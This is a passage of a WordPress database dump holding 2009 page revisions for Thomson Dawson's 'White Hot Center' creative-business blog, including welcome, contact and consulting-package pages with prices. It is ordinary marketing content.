shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide  a deeper level of guidance and strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:45:04', '2009-06-30 00:45:04', '', 172, 'http://www.whitehotcenter.com/172-revision-38/', 0, 'revision', '', 0),
(294, 2, '2009-06-24 12:13:08', '2009-06-24 19:13:08', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 12:13:08', '2009-06-24 19:13:08', '', 143, 'http://www.whitehotcenter.com/143-revision-16/', 0, 'revision', '', 0),
(295, 2, '2009-06-29 17:51:53', '2009-06-30 00:51:53', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:51:53', '2009-06-30 00:51:53', '', 172, 'http://www.whitehotcenter.com/172-revision-39/', 0, 'revision', '', 0),
(296, 1, '2009-06-08 20:25:50', '2009-06-09 03:25:50', 'Consulting Content Info', 'Consulting', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-08 20:25:50', '2009-06-09 03:25:50', '', 138, 'http://www.whitehotcenter.com/138-revision-5/', 0, 'revision', '', 0),
(297, 2, '2009-06-30 00:25:00', '2009-06-30 07:25:00', '<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">\r\n1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">\r\nAnd these principles don’t work at all when they are employed in reverse order. From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind. As the iconic Henry Ford was fond of saying.\r\n<h2><strong>“If you think you can or can’t– you’re right”.</strong></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I</span><span style="color: #ff6600;"> inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. </span></h2>\r\nI have three levels of consulting engagements:\r\n\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong></strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.\r\n\r\n</strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:25:00', '2009-06-30 07:25:00', '', 138, 'http://www.whitehotcenter.com/138-revision-6/', 0, 'revision', '', 0),
(298, 2, '2009-06-30 00:26:54', '2009-06-30 07:26:54', '<h2><strong><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">1)    what you do must matter to you</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">2)    what you do must matter to others</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">And these principles don’t work at all when they are employed in reverse order. From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind. As the iconic Henry Ford was fond of saying.\r\n<h2><strong>“If you think you can or can’t– you’re right”.</strong></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I</span><span style="color: #ff6600;"> inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. </span></h2>\r\nI have three levels of consulting engagements:\r\n\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong></strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:26:54', '2009-06-30 07:26:54', '', 138, 'http://www.whitehotcenter.com/138-revision-7/', 0, 'revision', '', 0),
(299, 2, '2009-06-30 00:29:01', '2009-06-30 07:29:01', '<h2><strong><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">1)    what you do must matter to you</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">2)    what you do must matter to others</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">And these principles don’t work at all when they are employed in reverse order. From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind. As the iconic Henry Ford was fond of saying.\r\n<h2><strong>“If you think you can or can’t– you’re right”.</strong></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:29:01', '2009-06-30 07:29:01', '', 138, 'http://www.whitehotcenter.com/138-revision-8/', 0, 'revision', '', 0),
(300, 2, '2009-06-30 00:30:55', '2009-06-30 07:30:55', '<h2><strong><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">1)    what you do must matter to you</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">2)    what you do must matter to others</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">And these principles don’t work at all when they are employed in reverse order. From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind. As the iconic Henry Ford was fond of saying,<strong>\r\n</strong>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:30:55', '2009-06-30 07:30:55', '', 138, 'http://www.whitehotcenter.com/138-revision-9/', 0, 'revision', '', 0);
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(303, 2, '2009-06-30 00:36:26', '2009-06-30 07:36:26', '<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span><strong><span style="color: #ff6600;"> </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight 